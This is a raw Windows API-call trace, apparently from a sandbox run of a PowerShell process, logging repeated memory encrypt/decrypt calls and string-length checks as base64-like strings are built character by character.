[0189.817] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.817] SysStringLen (param_1="w2Z17xDeYtkQRqAoVh4⦺护馷᭎૲") returned 0x18 [0189.817] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.817] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉䇈帊ാ⊅母ᗆ⥱") returned 0x18 [0189.817] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉䇈帊ാ⊅母ᗆ⥱") returned 0x18 [0189.817] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.817] SysStringLen (param_1="w2Z17xDeYtkQRqAoVh43护馷᭎૲") returned 0x18 [0189.817] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.817] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉㤂뒢묖㏐捣勺詊") returned 0x18 [0189.817] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉㤂뒢묖㏐捣勺詊") returned 0x18 [0189.817] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.817] SysStringLen (param_1="w2Z17xDeYtkQRqAoVh43t馷᭎૲") returned 0x18 [0189.818] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.818] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉顱贑酣㸨嵱") returned 0x18 [0189.818] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉顱贑酣㸨嵱") returned 0x18 [0189.818] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.818] SysStringLen (param_1="w2Z17xDeYtkQRqAoVh43t0᭎૲") returned 0x18 [0189.818] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.818] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉맩幱倰洖쯽咛횝") returned 0x18 [0189.818] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉맩幱倰洖쯽咛횝") returned 0x18 [0189.818] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.818] SysStringLen (param_1="w2Z17xDeYtkQRqAoVh43t0c૲") returned 0x18 [0189.818] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.818] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉ಝ\ೝ㓪祦㏚⎮≔) returned 0x18 [0189.818] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉ಝ\ೝ㓪祦㏚⎮≔) returned 0x18 [0189.818] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.818] SysStringLen (param_1="w2Z17xDeYtkQRqAoVh43t0ce") returned 0x18 [0189.818] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.819] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱") returned 0x18 [0189.819] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱") returned 0x18 [0189.819] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱") returned 0x18 [0189.819] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱") returned 0x20 [0189.819] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.819] SysStringLen (param_1="w2Z17xDeYtkQRqAoVh43t0cej᫵쥃Ծ춡琩") returned 0x20 [0189.819] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.819] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱쉬쫟燓㹺Ю夽䇍⇇") returned 0x20 [0189.819] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱쉬쫟燓㹺Ю夽䇍⇇") returned 0x20 [0189.819] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.819] SysStringLen (param_1="w2Z17xDeYtkQRqAoVh43t0cejP쥃Ծ춡琩") returned 0x20 [0189.819] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.819] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱疨뜳말享Ҳ稜澸") returned 0x20 [0189.820] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱疨뜳말享Ҳ稜澸") returned 0x20 [0189.820] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.820] SysStringLen (param_1="w2Z17xDeYtkQRqAoVh43t0cejPiԾ춡琩") returned 0x20 [0189.820] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.820] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱꩹\⛚៥㘩ᔫ쎀㛇⊗) returned 0x20 [0189.820] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱꩹\⛚៥㘩ᔫ쎀㛇⊗) returned 0x20 [0189.820] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.820] SysStringLen (param_1="w2Z17xDeYtkQRqAoVh43t0cejPigԾ춡琩") returned 0x20 [0189.820] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.820] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱譮ꠈ嗊ɖᚹ␯೉") returned 0x20 [0189.820] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱譮ꠈ嗊ɖᚹ␯೉") returned 0x20 [0189.820] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.820] SysStringLen (param_1="w2Z17xDeYtkQRqAoVh43t0cejPigz춡琩") returned 0x20 [0189.820] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.820] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱ﴔ蝾㵇￾ꎲ笽厝ﹱ") returned 0x20 [0189.820] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱ﴔ蝾㵇￾ꎲ笽厝ﹱ") returned 0x20 [0189.820] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.821] SysStringLen (param_1="w2Z17xDeYtkQRqAoVh43t0cejPigz6琩") returned 0x20 [0189.821] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.821] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱洽詗趷韪㱶") returned 0x20 [0189.821] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱洽詗趷韪㱶") returned 0x20 [0189.821] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.821] SysStringLen (param_1="w2Z17xDeYtkQRqAoVh43t0cejPigz6/") returned 0x20 [0189.821] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.821] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱붔殝㸵戎鯪") returned 0x20 [0189.821] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱붔殝㸵戎鯪") returned 0x20 [0189.821] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.821] SysStringLen (param_1="w2Z17xDeYtkQRqAoVh43t0cejPigz6/k") returned 0x20 [0189.821] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.821] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱閶脔镜Ć溵㯪갹쓿") returned 0x20 [0189.822] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱閶脔镜Ć溵㯪갹쓿") returned 0x20 [0189.822] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱閶脔镜Ć溵㯪갹쓿") returned 0x20 [0189.822] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱閶脔镜Ć溵㯪갹쓿") returned 0x28 [0189.822] SystemFunction041 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.822] SysStringLen (param_1="w2Z17xDeYtkQRqAoVh43t0cejPigz6/kg릁믈趕\쓟∉) returned 0x28 [0189.822] SystemFunction040 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.822] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱閶脔镜Ć溵㯪갹쓿끴な믽▆쿬澞蜲朣") returned 0x28 [0189.822] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱閶脔镜Ć溵㯪갹쓿끴な믽▆쿬澞蜲朣") returned 0x28 [0189.822] SystemFunction041 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.822] SysStringLen (param_1="w2Z17xDeYtkQRqAoVh43t0cejPigz6/kgC믈趕\쓟∉) returned 0x28 [0189.822] SystemFunction040 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.822] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱閶脔镜Ć溵㯪갹쓿⏜ˉ麖껊毼⟋顡") returned 0x28 [0189.822] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱閶脔镜Ć溵㯪갹쓿⏜ˉ麖껊毼⟋顡") returned 0x28 [0189.822] SystemFunction041 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.823] SysStringLen (param_1="w2Z17xDeYtkQRqAoVh43t0cejPigz6/kgCv믈趕\쓟∉) returned 0x28 [0189.823] SystemFunction040 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.823] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱閶脔镜Ć溵㯪갹쓿꾜த嗀࿪澠㝷ģ艷") returned 0x28 [0189.823] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱閶脔镜Ć溵㯪갹쓿꾜த嗀࿪澠㝷ģ艷") returned 0x28 [0189.823] SystemFunction041 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.823] SysStringLen (param_1="w2Z17xDeYtkQRqAoVh43t0cejPigz6/kgCvr趕\쓟∉) returned 0x28 [0189.823] SystemFunction040 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.823] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱閶脔镜Ć溵㯪갹쓿里\藞ൕ얫ౚ૽∤) returned 0x28 [0189.823] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱閶脔镜Ć溵㯪갹쓿里\藞ൕ얫ౚ૽∤) returned 0x28 [0189.823] SystemFunction041 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.823] SysStringLen (param_1="w2Z17xDeYtkQRqAoVh43t0cejPigz6/kgCvr6趕\쓟∉) returned 0x28 [0189.823] SystemFunction040 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.823] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱閶脔镜Ć溵㯪갹쓿ෘ䵅ߋ驞했鮚") returned 0x28 [0189.823] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱閶脔镜Ć溵㯪갹쓿ෘ䵅ߋ驞했鮚") returned 0x28 [0189.823] SystemFunction041 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.823] SysStringLen (param_1="w2Z17xDeYtkQRqAoVh43t0cejPigz6/kgCvr69\쓟∉) returned 0x28 [0189.824] SystemFunction040 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.824] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱閶脔镜Ć溵㯪갹쓿澘슫蟸㧋롿\藝ᥞ∫) returned 0x28 [0189.824] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱閶脔镜Ć溵㯪갹쓿澘슫蟸㧋롿\藝ᥞ∫) returned 0x28 [0189.824] SystemFunction041 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.824] SysStringLen (param_1="w2Z17xDeYtkQRqAoVh43t0cejPigz6/kgCvr69Sৄ") returned 0x28 [0189.824] SystemFunction040 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.824] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱閶脔镜Ć溵㯪갹쓿Ɽ꼚퐮펼቟籯") returned 0x28 [0189.824] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱閶脔镜Ć溵㯪갹쓿Ɽ꼚퐮펼቟籯") returned 0x28 [0189.824] SystemFunction041 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.824] SysStringLen (param_1="w2Z17xDeYtkQRqAoVh43t0cejPigz6/kgCvr69Se") returned 0x28 [0189.824] SystemFunction040 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.824] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱閶脔镜Ć溵㯪갹쓿ေ줭鮙䊴ꛮ鳆஽儍") returned 0x28 [0189.824] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱閶脔镜Ć溵㯪갹쓿ေ줭鮙䊴ꛮ鳆஽儍") returned 0x28 [0189.824] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱閶脔镜Ć溵㯪갹쓿ေ줭鮙䊴ꛮ鳆஽儍") returned 0x28 [0189.825] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱閶脔镜Ć溵㯪갹쓿ေ줭鮙䊴ꛮ鳆஽儍") returned 0x30 [0189.825] SystemFunction041 (in: Memory=0x3da4a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da4a4) returned 0x0 [0189.825] SysStringLen (param_1="w2Z17xDeYtkQRqAoVh43t0cejPigz6/kgCvr69SeNⴁ⪹磎鰶") returned 0x30 [0189.825] SystemFunction040 (in: Memory=0x3da4a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da4a4) returned 0x0 [0189.825] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱閶脔镜Ć溵㯪갹쓿ေ줭鮙䊴ꛮ鳆஽儍첳쭟寮苎ྐྵ轓댏") returned 0x30 [0189.825] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱閶脔镜Ć溵㯪갹쓿ေ줭鮙䊴ꛮ鳆஽儍첳쭟寮苎ྐྵ轓댏") returned 0x30 [0189.825] SystemFunction041 (in: Memory=0x3da4a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da4a4) returned 0x0 [0189.825] SysStringLen (param_1="w2Z17xDeYtkQRqAoVh43t0cejPigz6/kgCvr69SeNMⴁ⪹磎鰶") returned 0x30 [0189.825] SystemFunction040 (in: Memory=0x3da4a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da4a4) returned 0x0 [0189.825] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱閶脔镜Ć溵㯪갹쓿ေ줭鮙䊴ꛮ鳆஽儍쥂㱑ꟲ북贖뒁㳅⧮") returned 0x30 [0189.825] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱閶脔镜Ć溵㯪갹쓿ေ줭鮙䊴ꛮ鳆஽儍쥂㱑ꟲ북贖뒁㳅⧮") returned 0x30 [0189.825] SystemFunction041 (in: Memory=0x3da4a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da4a4) returned 0x0 [0189.825] SysStringLen (param_1="w2Z17xDeYtkQRqAoVh43t0cejPigz6/kgCvr69SeNMUⴁ⪹磎鰶") returned 0x30 [0189.825] SystemFunction040 (in: Memory=0x3da4a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da4a4) returned 0x0 [0189.825] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱閶脔镜Ć溵㯪갹쓿ေ줭鮙䊴ꛮ鳆஽儍퍵め辆萹륐貏흑뙏") returned 0x30 [0189.826] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉▪≠븪吩軑篞ݚ⇱閶脔镜Ć溵㯪갹쓿ေ줭鮙䊴ꛮ鳆஽儍퍵め辆萹륐貏흑뙏") returned 0x30 [0189.826] SystemFunction041 (in: Memory=0x3da4a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da4a4) returned 0x0 [0189.826] SysStringLen (param_1="w2Z17xDeYtkQRqAoVh43t0cejPigz6/kgCvr69SeNMU=ⴁ⪹磎鰶") returned 0x30 [0189.826] SystemFunction040 (in: Memory=0x3da4a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da4a4) returned 0x0 [0189.826] EtwEventActivityIdControl () returned 0x0 [0189.826] EtwEventActivityIdControl () returned 0x0 [0189.826] EtwEventActivityIdControl () returned 0x0 [0189.827] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e600, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.827] EtwEventActivityIdControl () returned 0x0 [0189.827] EtwEventActivityIdControl () returned 0x0 [0189.827] EtwEventActivityIdControl () returned 0x0 [0189.828] SysStringLen (param_1="") returned 0x8 [0189.828] SysStringLen (param_1="N") returned 0x8 [0189.828] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.828] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0189.828] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0189.828] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.828] SysStringLen (param_1="ND") returned 0x8 [0189.828] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.828] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0189.828] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0189.828] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.829] SysStringLen (param_1="NDZ") returned 0x8 [0189.829] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.829] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0189.829] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0189.829] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.829] SysStringLen (param_1="NDZl") returned 0x8 [0189.829] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.829] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0189.829] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0189.829] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.829] SysStringLen (param_1="NDZlO") returned 0x8 [0189.829] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.829] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0189.829] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0189.829] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.829] SysStringLen (param_1="NDZlOD") returned 0x8 [0189.830] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.830] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0189.830] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0189.830] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.830] SysStringLen (param_1="NDZlODR") returned 0x8 [0189.830] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.868] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0189.868] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0189.868] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.868] SysStringLen (param_1="NDZlODRm") returned 0x8 [0189.868] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.868] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0189.869] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0189.869] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0189.869] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0189.869] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.869] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0189.869] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.869] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0189.869] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0189.869] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.869] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0189.869] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.869] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0189.869] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0189.869] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.870] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0189.870] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.870] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0189.870] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0189.870] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.870] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0189.870] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.870] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0189.870] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0189.870] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.870] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0189.870] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.870] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0189.870] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0189.870] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.870] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 